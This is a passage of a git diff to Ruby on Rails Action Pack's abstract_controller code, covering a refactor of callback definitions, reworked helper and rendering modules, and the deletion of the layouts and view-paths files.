# If none of these conditions are true, and method_for_action
- # returns nil, an ActionNotFound exception will be raised.
+ # returns nil, an AbstractController::ActionNotFound exception will be raised.
#
# ==== Parameters
# * <tt>action_name</tt> - An action name to find a method name for
#
# ==== Returns
# * <tt>string</tt> - The name of the method that handles the action
- # * <tt>nil</tt> - No method name could be found. Raise ActionNotFound.
+ # * <tt>nil</tt> - No method name could be found.
def method_for_action(action_name)
if action_method?(action_name)
action_name
@@ -233,5 +260,10 @@ module AbstractController
"_handle_action_missing"
end
end
+
+ # Checks if the action name is valid and returns false otherwise.
+ def _valid_action_name?(action_name)
+ !action_name.to_s.include? File::SEPARATOR
+ end
end
end
diff --git a/actionpack/lib/abstract_controller/callbacks.rb b/actionpack/lib/abstract_controller/callbacks.rb
index 599fff81c2..ca5c80cd71 100644
--- a/actionpack/lib/abstract_controller/callbacks.rb
+++ b/actionpack/lib/abstract_controller/callbacks.rb
@@ -8,7 +8,9 @@ module AbstractController
include ActiveSupport::Callbacks
included do
- define_callbacks :process_action, :terminator => "response_body", :skip_after_callbacks_if_terminated => true
+ define_callbacks :process_action,
+ terminator: ->(controller,_) { controller.response_body },
+ skip_after_callbacks_if_terminated: true
end
# Override AbstractController::Base's process_action to run the
@@ -36,24 +38,22 @@ module AbstractController
def _normalize_callback_option(options, from, to) # :nodoc:
if from = options[from]
from = Array(from).map {|o| "action_name == '#{o}'"}.join(" || ")
- options[to] = Array(options[to]) << from
+ options[to] = Array(options[to]).unshift(from)
end
end
- # Skip before, after, and around action callbacks matching any of the names
- # Aliased as skip_filter.
+ # Skip before, after, and around action callbacks matching any of the names.
#
# ==== Parameters
# * <tt>names</tt> - A list of valid names that could be used for
# callbacks. Note that skipping uses Ruby equality, so it's
# impossible to skip a callback defined using an anonymous proc
- # using #skip_filter
+ # using #skip_action_callback
def skip_action_callback(*names)
skip_before_action(*names)
skip_after_action(*names)
skip_around_action(*names)
end
-
alias_method :skip_filter, :skip_action_callback
# Take callback names and an optional callback proc, normalize them,
@@ -69,7 +69,7 @@ module AbstractController
# * <tt>name</tt> - The callback to be added
# * <tt>options</tt> - A hash of options to be used when adding the callback
def _insert_callbacks(callbacks, block = nil)
- options = callbacks.last.is_a?(Hash) ? callbacks.pop : {}
+ options = callbacks.extract_options!
_normalize_callback_options(options)
callbacks.push(block) if block
callbacks.each do |callback|
@@ -83,7 +83,6 @@ module AbstractController
# :call-seq: before_action(names, block)
#
# Append a callback before actions. See _insert_callbacks for parameter details.
- # Aliased as before_filter.
##
# :method: prepend_before_action
@@ -91,7 +90,6 @@ module AbstractController
# :call-seq: prepend_before_action(names, block)
#
# Prepend a callback before actions. See _insert_callbacks for parameter details.
- # Aliased as prepend_before_filter.
##
# :method: skip_before_action
@@ -99,7 +97,6 @@ module AbstractController
# :call-seq: skip_before_action(names)
#
# Skip a callback before actions. See _insert_callbacks for parameter details.
- # Aliased as skip_before_filter.
##
# :method: append_before_action
@@ -107,7 +104,6 @@ module AbstractController
# :call-seq: append_before_action(names, block)
#
# Append a callback before actions. See _insert_callbacks for parameter details.
- # Aliased as append_before_filter.
##
# :method: after_action
@@ -115,7 +111,6 @@ module AbstractController
# :call-seq: after_action(names, block)
#
# Append a callback after actions. See _insert_callbacks for parameter details.
- # Aliased as after_filter.
##
# :method: prepend_after_action
@@ -123,7 +118,6 @@ module AbstractController
# :call-seq: prepend_after_action(names, block)
#
# Prepend a callback after actions. See _insert_callbacks for parameter details.
- # Aliased as prepend_after_filter.
##
# :method: skip_after_action
@@ -131,7 +125,6 @@ module AbstractController
# :call-seq: skip_after_action(names)
#
# Skip a callback after actions. See _insert_callbacks for parameter details.
- # Aliased as skip_after_filter.
##
# :method: append_after_action
@@ -139,7 +132,6 @@ module AbstractController
# :call-seq: append_after_action(names, block)
#
# Append a callback after actions. See _insert_callbacks for parameter details.
- # Aliased as append_after_filter.
##
# :method: around_action
@@ -147,7 +139,6 @@ module AbstractController
# :call-seq: around_action(names, block)
#
# Append a callback around actions. See _insert_callbacks for parameter details.
- # Aliased as around_filter.
##
# :method: prepend_around_action
@@ -155,7 +146,6 @@ module AbstractController
# :call-seq: prepend_around_action(names, block)
#
# Prepend a callback around actions. See _insert_callbacks for parameter details.
- # Aliased as prepend_around_filter.
##
# :method: skip_around_action
@@ -163,7 +153,6 @@ module AbstractController
# :call-seq: skip_around_action(names)
#
# Skip a callback around actions. See _insert_callbacks for parameter details.
- # Aliased as skip_around_filter.
##
# :method: append_around_action
@@ -171,46 +160,36 @@ module AbstractController
# :call-seq: append_around_action(names, block)
#
# Append a callback around actions. See _insert_callbacks for parameter details.
- # Aliased as append_around_filter.
# set up before_action, prepend_before_action, skip_before_action, etc.
# for each of before, after, and around.
[:before, :after, :around].each do |callback|
- class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
- # Append a before, after or around callback. See _insert_callbacks
- # for details on the allowed parameters.
- def #{callback}_action(*names, &blk) # def before_action(*names, &blk)
- _insert_callbacks(names, blk) do |name, options| # _insert_callbacks(names, blk) do |name, options|
- set_callback(:process_action, :#{callback}, name, options) # set_callback(:process_action, :before, name, options)
- end # end
- end # end
-
- alias_method :#{callback}_filter, :#{callback}_action
-
- # Prepend a before, after or around callback. See _insert_callbacks
- # for details on the allowed parameters.
- def prepend_#{callback}_action(*names, &blk) # def prepend_before_action(*names, &blk)
- _insert_callbacks(names, blk) do |name, options| # _insert_callbacks(names, blk) do |name, options|
- set_callback(:process_action, :#{callback}, name, options.merge(:prepend => true)) # set_callback(:process_action, :before, name, options.merge(:prepend => true))
- end # end
- end # end
-
- alias_method :prepend_#{callback}_filter, :prepend_#{callback}_action
-
- # Skip a before, after or around callback. See _insert_callbacks
- # for details on the allowed parameters.
- def skip_#{callback}_action(*names) # def skip_before_action(*names)
- _insert_callbacks(names) do |name, options| # _insert_callbacks(names) do |name, options|
- skip_callback(:process_action, :#{callback}, name, options) # skip_callback(:process_action, :before, name, options)
- end # end
- end # end
-
- alias_method :skip_#{callback}_filter, :skip_#{callback}_action
-
- # *_action is the same as append_*_action
- alias_method :append_#{callback}_action, :#{callback}_action # alias_method :append_before_action, :before_action
- alias_method :append_#{callback}_filter, :#{callback}_action # alias_method :append_before_filter, :before_action
- RUBY_EVAL
+ define_method "#{callback}_action" do |*names, &blk|
+ _insert_callbacks(names, blk) do |name, options|
+ set_callback(:process_action, callback, name, options)
+ end
+ end
+ alias_method :"#{callback}_filter", :"#{callback}_action"
+
+ define_method "prepend_#{callback}_action" do |*names, &blk|
+ _insert_callbacks(names, blk) do |name, options|
+ set_callback(:process_action, callback, name, options.merge(:prepend => true))
+ end
+ end
+ alias_method :"prepend_#{callback}_filter", :"prepend_#{callback}_action"
+
+ # Skip a before, after or around callback. See _insert_callbacks
+ # for details on the allowed parameters.
+ define_method "skip_#{callback}_action" do |*names|
+ _insert_callbacks(names) do |name, options|
+ skip_callback(:process_action, callback, name, options)
+ end
+ end
+ alias_method :"skip_#{callback}_filter", :"skip_#{callback}_action"
+
+ # *_action is the same as append_*_action
+ alias_method :"append_#{callback}_action", :"#{callback}_action"
+ alias_method :"append_#{callback}_filter", :"#{callback}_action"
end
end
end
diff --git a/actionpack/lib/abstract_controller/collector.rb b/actionpack/lib/abstract_controller/collector.rb
index 09b9e7ddf0..ddd56b354a 100644
--- a/actionpack/lib/abstract_controller/collector.rb
+++ b/actionpack/lib/abstract_controller/collector.rb
@@ -23,7 +23,17 @@ module AbstractController
protected
def method_missing(symbol, &block)
- mime_constant = Mime.const_get(symbol.upcase)
+ const_name = symbol.upcase
+
+ unless Mime.const_defined?(const_name)
+ raise NoMethodError, "To respond to a custom format, register it as a MIME type first: " \
+ "http://guides.rubyonrails.org/action_controller_overview.html#restful-downloads. " \
+ "If you meant to respond to a variant like :tablet or :phone, not a custom format, " \
+ "be sure to nest your variant response within a format response: " \
+ "format.html { |html| html.tablet { ... } }"
+ end
+
+ mime_constant = Mime.const_get(const_name)
if Mime::SET.include?(mime_constant)
AbstractController::Collector.generate_method_for_mime(mime_constant)
diff --git a/actionpack/lib/abstract_controller/helpers.rb b/actionpack/lib/abstract_controller/helpers.rb
index d4e73bf257..df7382f02d 100644
--- a/actionpack/lib/abstract_controller/helpers.rb
+++ b/actionpack/lib/abstract_controller/helpers.rb
@@ -12,6 +12,20 @@ module AbstractController
self._helper_methods = Array.new
end
+ class MissingHelperError < LoadError
+ def initialize(error, path)
+ @error = error
+ @path = "helpers/#{path}.rb"
+ set_backtrace error.backtrace
+
+ if error.path =~ /^#{path}(\.rb)?$/
+ super("Missing helper file helpers/%s.rb" % path)
+ else
+ raise error
+ end
+ end
+ end
+
module ClassMethods
# When a class is inherited, wrap its helper module in a new module.
# This ensures that the parent class's module can be changed
@@ -19,7 +33,7 @@ module AbstractController
def inherited(klass)
helpers = _helpers
klass._helpers = Module.new { include helpers }
- klass.class_eval { default_helper_module! unless anonymous? }
+ klass.class_eval { default_helper_module! } unless klass.anonymous?
super
end
@@ -29,7 +43,7 @@ module AbstractController
# helper_method :current_user, :logged_in?
#
# def current_user
- # @current_user ||= User.find_by_id(session[:user])
+ # @current_user ||= User.find_by(id: session[:user])
# end
#
# def logged_in?
@@ -59,7 +73,7 @@ module AbstractController
# The +helper+ class method can take a series of helper module names, a block, or both.
#
# ==== Options
- # * <tt>*args</tt> - Module, Symbol, String, :all
+ # * <tt>*args</tt> - Module, Symbol, String
# * <tt>block</tt> - A block defining helper methods
#
# When the argument is a module it will be included directly in the template class.
@@ -113,7 +127,7 @@ module AbstractController
# helpers with the following behavior:
#
# String or Symbol:: :FooBar or "FooBar" becomes "foo_bar_helper",
- # and "foo_bar_helper.rb" is loaded using require_dependency.
+ # and "foo_bar_helper.rb" is loaded using require_dependency.
#
# Module:: No further processing
#
@@ -134,9 +148,19 @@ module AbstractController
begin
require_dependency(file_name)
rescue LoadError => e
- raise MissingHelperError.new(e, file_name)
+ raise AbstractController::Helpers::MissingHelperError.new(e, file_name)
+ end
+
+ mod_name = file_name.camelize
+ begin
+ mod_name.constantize
+ rescue LoadError
+ # dependencies.rb gives a similar error message but its wording is
+ # not as clear because it mentions autoloading. To the user all it
+ # matters is that a helper module couldn't be loaded, autoloading
+ # is an internal mechanism that should not leak.
+ raise NameError, "Couldn't find #{mod_name}, expected it to be defined in helpers/#{file_name}.rb"
end
- file_name.camelize.constantize
when Module
arg
else
@@ -145,15 +169,6 @@ module AbstractController
end
end
- class MissingHelperError < LoadError
- def initialize(error, path)
- @error = error
- @path = "helpers/#{path}.rb"
- set_backtrace error.backtrace
- super("Missing helper file helpers/%s.rb" % path)
- end
- end
-
private
# Makes all the (instance) methods in the helper module available to templates
# rendered through this controller.
diff --git a/actionpack/lib/abstract_controller/layouts.rb b/actionpack/lib/abstract_controller/layouts.rb
deleted file mode 100644
index 12da273af9..0000000000
--- a/actionpack/lib/abstract_controller/layouts.rb
+++ /dev/null
@@ -1,410 +0,0 @@
-require "active_support/core_ext/module/remove_method"
-
-module AbstractController
- # Layouts reverse the common pattern of including shared headers and footers in many templates to isolate changes in
- # repeated setups. The inclusion pattern has pages that look like this:
- #
- # <%= render "shared/header" %>
- # Hello World
- # <%= render "shared/footer" %>
- #
- # This approach is a decent way of keeping common structures isolated from the changing content, but it's verbose
- # and if you ever want to change the structure of these two includes, you'll have to change all the templates.
- #
- # With layouts, you can flip it around and have the common structure know where to insert changing content. This means
- # that the header and footer are only mentioned in one place, like this:
- #
- # // The header part of this layout
- # <%= yield %>
- # // The footer part of this layout
- #
- # And then you have content pages that look like this:
- #
- # hello world
- #
- # At rendering time, the content page is computed and then inserted in the layout, like this:
- #
- # // The header part of this layout
- # hello world
- # // The footer part of this layout
- #
- # == Accessing shared variables
- #
- # Layouts have access to variables specified in the content pages and vice versa. This allows you to have layouts with
- # references that won't materialize before rendering time:
- #
- # <h1><%= @page_title %></h1>
- # <%= yield %>
- #
- # ...and content pages that fulfill these references _at_ rendering time:
- #
- # <% @page_title = "Welcome" %>
- # Off-world colonies offers you a chance to start a new life
- #
- # The result after rendering is:
- #
- # <h1>Welcome</h1>
- # Off-world colonies offers you a chance to start a new life
- #
- # == Layout assignment
- #
- # You can either specify a layout declaratively (using the #layout class method) or give
- # it the same name as your controller, and place it in <tt>app/views/layouts</tt>.
- # If a subclass does not have a layout specified, it inherits its layout using normal Ruby inheritance.
- #
- # For instance, if you have PostsController and a template named <tt>app/views/layouts/posts.html.erb</tt>,
- # that template will be used for all actions in PostsController and controllers inheriting
- # from PostsController.
- #
- # If you use a module, for instance Weblog::PostsController, you will need a template named
- # <tt>app/views/layouts/weblog/posts.html.erb</tt>.
- #
- # Since all your controllers inherit from ApplicationController, they will use
- # <tt>app/views/layouts/application.html.erb</tt> if no other layout is specified
- # or provided.
- #
- # == Inheritance Examples
- #
- # class BankController < ActionController::Base
- # # bank.html.erb exists
- #
- # class ExchangeController < BankController
- # # exchange.html.erb exists
- #
- # class CurrencyController < BankController
- #
- # class InformationController < BankController
- # layout "information"
- #
- # class TellerController < InformationController
- # # teller.html.erb exists
- #
- # class EmployeeController < InformationController
- # # employee.html.erb exists
- # layout nil
- #
- # class VaultController < BankController
- # layout :access_level_layout
- #
- # class TillController < BankController
- # layout false
- #
- # In these examples, we have three implicit lookup scenarios:
- # * The BankController uses the "bank" layout.
- # * The ExchangeController uses the "exchange" layout.
- # * The CurrencyController inherits the layout from BankController.
- #
- # However, when a layout is explicitly set, the explicitly set layout wins:
- # * The InformationController uses the "information" layout, explicitly set.
- # * The TellerController also uses the "information" layout, because the parent explicitly set it.
- # * The EmployeeController uses the "employee" layout, because it set the layout to nil, resetting the parent configuration.
- # * The VaultController chooses a layout dynamically by calling the <tt>access_level_layout</tt> method.
- # * The TillController does not use a layout at all.
- #
- # == Types of layouts
- #
- # Layouts are basically just regular templates, but the name of this template needs not be specified statically. Sometimes
- # you want to alternate layouts depending on runtime information, such as whether someone is logged in or not. This can
- # be done either by specifying a method reference as a symbol or using an inline method (as a proc).
- #
- # The method reference is the preferred approach to variable layouts and is used like this:
- #
- # class WeblogController < ActionController::Base
- # layout :writers_and_readers
- #
- # def index
- # # fetching posts
- # end
- #
- # private
- # def writers_and_readers
- # logged_in? ? "writer_layout" : "reader_layout"
- # end
- # end
- #
- # Now when a new request for the index action is processed, the layout will vary depending on whether the person accessing
- # is logged in or not.
- #
- # If you want to use an inline method, such as a proc, do something like this:
- #
- # class WeblogController < ActionController::Base
- # layout proc { |controller| controller.logged_in? ? "writer_layout" : "reader_layout" }
- # end
- #
- # If an argument isn't given to the proc, it's evaluated in the context of
- # the current controller anyway.
- #
- # class WeblogController < ActionController::Base
- # layout proc { logged_in? ? "writer_layout" : "reader_layout" }
- # end
- #
- # Of course, the most common way of specifying a layout is still just as a plain template name:
- #
- # class WeblogController < ActionController::Base
- # layout "weblog_standard"
- # end
- #
- # The template will be looked always in <tt>app/views/layouts/</tt> folder. But you can point
- # <tt>layouts</tt> folder direct also. <tt>layout "layouts/demo"</tt> is the same as <tt>layout "demo"</tt>.
- #
- # Setting the layout to nil forces it to be looked up in the filesystem and fallbacks to the parent behavior if none exists.
- # Setting it to nil is useful to re-enable template lookup overriding a previous configuration set in the parent:
- #
- # class ApplicationController < ActionController::Base
- # layout "application"
- # end
- #
- # class PostsController < ApplicationController
- # # Will use "application" layout
- # end
- #
- # class CommentsController < ApplicationController
- # # Will search for "comments" layout and fallback "application" layout
- # layout nil
- # end
- #
- # == Conditional layouts
- #
- # If you have a layout that by default is applied to all the actions of a controller, you still have the option of rendering
- # a given action or set of actions without a layout, or restricting a layout to only a single action or a set of actions. The
- # <tt>:only</tt> and <tt>:except</tt> options can be passed to the layout call. For example:
- #
- # class WeblogController < ActionController::Base
- # layout "weblog_standard", except: :rss
- #
- # # ...
- #
- # end
- #
- # This will assign "weblog_standard" as the WeblogController's layout for all actions except for the +rss+ action, which will
- # be rendered directly, without wrapping a layout around the rendered view.
- #
- # Both the <tt>:only</tt> and <tt>:except</tt> condition can accept an arbitrary number of method references, so
- # #<tt>except: [ :rss, :text_only ]</tt> is valid, as is <tt>except: :rss</tt>.
- #
- # == Using a different layout in the action render call
- #
- # If most of your actions use the same layout, it makes perfect sense to define a controller-wide layout as described above.
- # Sometimes you'll have exceptions where one action wants to use a different layout than the rest of the controller.
- # You can do this by passing a <tt>:layout</tt> option to the <tt>render</tt> call. For example:
- #
- # class WeblogController < ActionController::Base
- # layout "weblog_standard"
- #
- # def help
- # render action: "help", layout: "help"
- # end
- # end
- #
- # This will override the controller-wide "weblog_standard" layout, and will render the help action with the "help" layout instead.
- module Layouts
- extend ActiveSupport::Concern
-
- include Rendering
-
- included do
- class_attribute :_layout, :_layout_conditions, :instance_accessor => false
- self._layout = nil
- self._layout_conditions = {}
- _write_layout_method
- end
-
- delegate :_layout_conditions, :to => "self.class"
-
- module ClassMethods
- def inherited(klass)
- super
- klass._write_layout_method
- end
-
- # This module is mixed in if layout conditions are provided. This means
- # that if no layout conditions are used, this method is not used
- module LayoutConditions
- # Determines whether the current action has a layout by checking the
- # action name against the :only and :except conditions set on the
- # layout.
- #
- # ==== Returns
- # * <tt> Boolean</tt> - True if the action has a layout, false otherwise.
- def conditional_layout?
- return unless super
-
- conditions = _layout_conditions
-
- if only = conditions[:only]
- only.include?(action_name)
- elsif except = conditions[:except]
- !except.include?(action_name)
- else
- true
- end
- end
- end
-
- # Specify the layout to use for this class.
- #
- # If the specified layout is a:
- # String:: the String is the template name
- # Symbol:: call the method specified by the symbol, which will return the template name
- # false:: There is no layout
- # true:: raise an ArgumentError
- # nil:: Force default layout behavior with inheritance
- #
- # ==== Parameters
- # * <tt>layout</tt> - The layout to use.
- #
- # ==== Options (conditions)
- # * :only - A list of actions to apply this layout to.
- # * :except - Apply this layout to all actions but this one.
- def layout(layout, conditions = {})
- include LayoutConditions unless conditions.empty?
-
- conditions.each {|k, v| conditions[k] = Array(v).map {|a| a.to_s} }
- self._layout_conditions = conditions
-
- self._layout = layout
- _write_layout_method
- end
-
- # If no layout is supplied, look for a template named the return
- # value of this method.
- #
- # ==== Returns
- # * <tt>String</tt> - A template name
- def _implied_layout_name
- controller_path
- end
-
- # Creates a _layout method to be called by _default_layout .
- #
- # If a layout is not explicitly mentioned then look for a layout with the controller's name.
- # if nothing is found then try same procedure to find super class's layout.
- def _write_layout_method
- remove_possible_method(:_layout)
-
- prefixes = _implied_layout_name =~ /\blayouts/ ? [] : ["layouts"]
- name_clause = if name
- <<-RUBY
- lookup_context.find_all("#{_implied_layout_name}", #{prefixes.inspect}).first || super
- RUBY
- else
- <<-RUBY
- super
- RUBY
- end
-
- layout_definition = case _layout
- when String
- _layout.inspect
- when Symbol
- <<-RUBY
- #{_layout}.tap do |layout|
- unless layout.is_a?(String) || !layout
- raise ArgumentError, "Your layout method :#{_layout} returned \#{layout}. It " \
- "should have returned a String, false, or nil"
- end
- end
- RUBY
- when Proc
- define_method :_layout_from_proc, &_layout
- _layout.arity == 0 ? "_layout_from_proc" : "_layout_from_proc(self)"
- when false
- nil
- when true
- raise ArgumentError, "Layouts must be specified as a String, Symbol, Proc, false, or nil"
- when nil
- name_clause
- end
-
- self.class_eval <<-RUBY, __FILE__, __LINE__ + 1
- def _layout
- if conditional_layout?
- #{layout_definition}
- else
- #{name_clause}
- end
- end
- private :_layout
- RUBY
- end
- end
-
- def _normalize_options(options)
- super
-
- if _include_layout?(options)
- layout = options.delete(:layout) { :default }
- options[:layout] = _layout_for_option(layout)
- end
- end
-
- attr_internal_writer :action_has_layout
-
- def initialize(*)
- @_action_has_layout = true
- super
- end
-
- def action_has_layout?
- @_action_has_layout
- end
-
- def conditional_layout?
- true
- end
-
- private
-
- # This will be overwritten by _write_layout_method
- def _layout; end
-
- # Determine the layout for a given name, taking into account the name type.
- #
- # ==== Parameters
- # * <tt>name</tt> - The name of the template
- def _layout_for_option(name)
- case name
- when String then _normalize_layout(name)
- when Proc then name
- when true then Proc.new { _default_layout(true) }
- when :default then Proc.new { _default_layout(false) }
- when false, nil then nil
- else
- raise ArgumentError,
- "String, Proc, :default, true, or false, expected for `layout'; you passed #{name.inspect}"
- end
- end
-
- def _normalize_layout(value)
- value.is_a?(String) && value !~ /\blayouts/ ? "layouts/#{value}" : value
- end
-
- # Returns the default layout for this controller.
- # Optionally raises an exception if the layout could not be found.
- #
- # ==== Parameters
- # * <tt>require_layout</tt> - If set to true and layout is not found,
- # an ArgumentError exception is raised (defaults to false)
- #
- # ==== Returns
- # * <tt>template</tt> - The template object for the default layout (or nil)
- def _default_layout(require_layout = false)
- begin
- value = _layout if action_has_layout?
- rescue NameError => e
- raise e, "Could not render layout: #{e.message}"
- end
-
- if require_layout && action_has_layout? && !value
- raise ArgumentError,
- "There was no default layout for #{self.class} in #{view_paths.inspect}"
- end
-
- _normalize_layout(value)
- end
-
- def _include_layout?(options)
- (options.keys & [:text, :inline, :partial]).empty? || options.key?(:layout)
- end
- end
-end
diff --git a/actionpack/lib/abstract_controller/railties/routes_helpers.rb b/actionpack/lib/abstract_controller/railties/routes_helpers.rb
index 6684f46f64..568c47e43a 100644
--- a/actionpack/lib/abstract_controller/railties/routes_helpers.rb
+++ b/actionpack/lib/abstract_controller/railties/routes_helpers.rb
@@ -1,14 +1,14 @@
module AbstractController
module Railties
module RoutesHelpers
- def self.with(routes)
+ def self.with(routes, include_path_helpers = true)
Module.new do
define_method(:inherited) do |klass|
super(klass)
if namespace = klass.parents.detect { |m| m.respond_to?(:railtie_routes_url_helpers) }
- klass.send(:include, namespace.railtie_routes_url_helpers)
+ klass.send(:include, namespace.railtie_routes_url_helpers(include_path_helpers))
else
- klass.send(:include, routes.url_helpers)
+ klass.send(:include, routes.url_helpers(include_path_helpers))
end
end
end
diff --git a/actionpack/lib/abstract_controller/rendering.rb b/actionpack/lib/abstract_controller/rendering.rb
index 4b984d0558..9d10140ed2 100644
--- a/actionpack/lib/abstract_controller/rendering.rb
+++ b/actionpack/lib/abstract_controller/rendering.rb
@@ -1,5 +1,8 @@
-require "abstract_controller/base"
-require "action_view"
+require 'active_support/concern'
+require 'active_support/core_ext/class/attribute'
+require 'action_view'
+require 'action_view/view_paths'
+require 'set'
module AbstractController
class DoubleRenderError < Error
@@ -10,179 +13,108 @@ module AbstractController
end
end
- # This is a class to fix I18n global state. Whenever you provide I18n.locale during a request,
- # it will trigger the lookup_context and consequently expire the cache.
- class I18nProxy < ::I18n::Config #:nodoc:
- attr_reader :original_config, :lookup_context
-
- def initialize(original_config, lookup_context)
- original_config = original_config.original_config if original_config.respond_to?(:original_config)
- @original_config, @lookup_context = original_config, lookup_context
- end
-
- def locale
- @original_config.locale
- end
-
- def locale=(value)
- @lookup_context.locale = value
- end
- end
-
module Rendering
extend ActiveSupport::Concern
- include AbstractController::ViewPaths
-
- included do
- class_attribute :protected_instance_variables
- self.protected_instance_variables = []
- end
-
- # Overwrite process to setup I18n proxy.
- def process(*) #:nodoc:
- old_config, I18n.config = I18n.config, I18nProxy.new(I18n.config, lookup_context)
- super
- ensure
- I18n.config = old_config
- end
-
- module ClassMethods
- def view_context_class
- @view_context_class ||= begin
- routes = respond_to?(:_routes) && _routes
- helpers = respond_to?(:_helpers) && _helpers
-
- Class.new(ActionView::Base) do
- if routes
- include routes.url_helpers
- include routes.mounted_helpers
- end
-
- if helpers
- include helpers
- end
- end
- end
- end
- end
-
- attr_internal_writer :view_context_class
-
- def view_context_class
- @_view_context_class ||= self.class.view_context_class
- end
-
- # An instance of a view class. The default view class is ActionView::Base
- #
- # The view class must have the following methods:
- # View.new[lookup_context, assigns, controller]
- # Create a new ActionView instance for a controller
- # View#render[options]
- # Returns String with the rendered template
- #
- # Override this method in a module to change the default behavior.
- def view_context
- view_context_class.new(view_renderer, view_assigns, self)
- end
-
- # Returns an object that is able to render templates.
- def view_renderer
- @_view_renderer ||= ActionView::Renderer.new(lookup_context)
- end
+ include ActionView::ViewPaths
# Normalize arguments, options and then delegates render_to_body and
# sticks the result in self.response_body.
+ # :api: public
def render(*args, &block)
options = _normalize_render(*args, &block)
self.response_body = render_to_body(options)
+ _process_format(rendered_format, options) if rendered_format
+ self.response_body
end
- # Raw rendering of a template to a string. Just convert the results of
- # render_response into a String.
+ # Raw rendering of a template to a string.
+ #
+ # It is similar to render, except that it does not
+ # set the response_body and it should be guaranteed
+ # to always return a string.
+ #
+ # If a component extends the semantics of response_body
+ # (as Action Controller extends it to be anything that
+ # responds to the method each), this method needs to be
+ # overridden in order to still return a string.
# :api: plugin
def render_to_string(*args, &block)
options = _normalize_render(*args, &block)
render_to_body(options)
end
- # Raw rendering of a template to a Rack-compatible body.
- # :api: plugin
+ # Performs the actual template rendering.
+ # :api: public
def render_to_body(options = {})
- _process_options(options)
- _render_template(options)
end
- # Find and renders a template based on the options given.
- # :api: private
- def _render_template(options) #:nodoc:
- lookup_context.rendered_format = nil if options[:formats]
- view_renderer.render(view_context, options)
+ # Returns Content-Type of rendered content
+ # :api: public
+ def rendered_format
+ Mime::TEXT
end
- DEFAULT_PROTECTED_INSTANCE_VARIABLES = [
- :@_action_name, :@_response_body, :@_formats, :@_prefixes, :@_config,
- :@_view_context_class, :@_view_renderer, :@_lookup_context
- ]
+ DEFAULT_PROTECTED_INSTANCE_VARIABLES = Set.new %w(
+ @_action_name @_response_body @_formats @_prefixes @_config
+ @_view_context_class @_view_renderer @_lookup_context
+ @_routes @_db_runtime
+ ).map(&:to_sym)
# This method should return a hash with assigns.
# You can overwrite this configuration per controller.
# :api: public
def view_assigns
- hash = {}
- variables = instance_variables
- variables -= protected_instance_variables
- variables -= DEFAULT_PROTECTED_INSTANCE_VARIABLES
- variables.each { |name| hash[name[1..-1]] = instance_variable_get(name) }
- hash
- end
+ protected_vars = _protected_ivars
+ variables = instance_variables
- private
-
- # Normalize args and options.
- # :api: private
- def _normalize_render(*args, &block)
- options = _normalize_args(*args, &block)
- _normalize_options(options)
- options
+ variables.reject! { |s| protected_vars.include? s }
+ variables.each_with_object({}) { |name, hash|
+ hash[name.slice(1, name.length)] = instance_variable_get(name)
+ }
end
# Normalize args by converting render "foo" to render :action => "foo" and
# render "foo/bar" to render :file => "foo/bar".
# :api: plugin
def _normalize_args(action=nil, options={})
- case action
- when NilClass
- when Hash
- options = action
- when String, Symbol
- action = action.to_s
- key = action.include?(?/) ? :file : :action
- options[key] = action
+ if action.is_a? Hash
+ action
else
- options[:partial] = action
+ options
end
-
- options
end
# Normalize options.
# :api: plugin
def _normalize_options(options)
- if options[:partial] == true
- options[:partial] = action_name
- end
-
- if (options.keys & [:partial, :file, :template]).empty?
- options[:prefixes] ||= _prefixes
- end
-
- options[:template] ||= (options[:action] || action_name).to_s
options
end
# Process extra options.
# :api: plugin
def _process_options(options)
+ options
+ end
+
+ # Process the rendered format.
+ # :api: private
+ def _process_format(format, options = {})
+ end
+
+ # Normalize args and options.
+ # :api: private
+ def _normalize_render(*args, &block)
+ options = _normalize_args(*args, &block)
+ #TODO: remove defined? when we restore AP <=> AV dependency
+ if defined?(request) && request && request.variant.present?
+ options[:variant] = request.variant
+ end
+ _normalize_options(options)
+ options
+ end
+
+ def _protected_ivars # :nodoc:
+ DEFAULT_PROTECTED_INSTANCE_VARIABLES
end
end
end
diff --git a/actionpack/lib/abstract_controller/translation.rb b/actionpack/lib/abstract_controller/translation.rb
index b6c484d188..02028d8e05 100644
--- a/actionpack/lib/abstract_controller/translation.rb
+++ b/actionpack/lib/abstract_controller/translation.rb
@@ -1,9 +1,17 @@
module AbstractController
module Translation
+ # Delegates to <tt>I18n.translate</tt>. Also aliased as <tt>t</tt>.
+ #
+ # When the given key starts with a period, it will be scoped by the current
+ # controller and action. So if you call <tt>translate(".foo")</tt> from
+ # <tt>PeopleController#index</tt>, it will convert the call to
+ # <tt>I18n.translate("people.index.foo")</tt>. This makes it less repetitive
+ # to translate many keys within the same controller / action and gives you a
+ # simple framework for scoping them consistently.
def translate(*args)
key = args.first
if key.is_a?(String) && (key[0] == '.')
- key = "#{ controller_path.gsub('/', '.') }.#{ action_name }#{ key }"
+ key = "#{ controller_path.tr('/', '.') }.#{ action_name }#{ key }"
args[0] = key
end
@@ -11,6 +19,7 @@ module AbstractController
end
alias :t :translate
+ # Delegates to <tt>I18n.localize</tt>. Also aliased as <tt>l</tt>.
def localize(*args)
I18n.localize(*args)
end
diff --git a/actionpack/lib/abstract_controller/url_for.rb b/actionpack/lib/abstract_controller/url_for.rb
index 4a95e1f276..72d07b0927 100644
--- a/actionpack/lib/abstract_controller/url_for.rb
+++ b/actionpack/lib/abstract_controller/url_for.rb
@@ -11,7 +11,7 @@ module AbstractController
def _routes
raise "In order to use #url_for, you must include routing helpers explicitly. " \
- "For instance, `include Rails.application.routes.url_helpers"
+ "For instance, `include Rails.application.routes.url_helpers`."
end
module ClassMethods
diff --git a/actionpack/lib/abstract_controller/view_paths.rb b/actionpack/lib/abstract_controller/view_paths.rb
deleted file mode 100644
index c08b3a0e2a..0000000000
--- a/actionpack/lib/abstract_controller/view_paths.rb
+++ /dev/null
@@ -1,96 +0,0 @@
-require 'action_view/base'
-
-module AbstractController
- module ViewPaths
- extend ActiveSupport::Concern
-
- included do
- class_attribute :_view_paths
- self._view_paths = ActionView::PathSet.new
- self._view_paths.freeze
- end
-
- delegate :template_exists?, :view_paths, :formats, :formats=,
- :locale, :locale=, :to => :lookup_context
-
- module ClassMethods
- def parent_prefixes
- @parent_prefixes ||= begin
- parent_controller = superclass
- prefixes = []
-
- until parent_controller.abstract?
- prefixes << parent_controller.controller_path
- parent_controller = parent_controller.superclass
- end
-
- prefixes
- end
- end
- end
-
- # The prefixes used in render "foo" shortcuts.
- def _prefixes
- @_prefixes ||= begin
- parent_prefixes = self.class.parent_prefixes
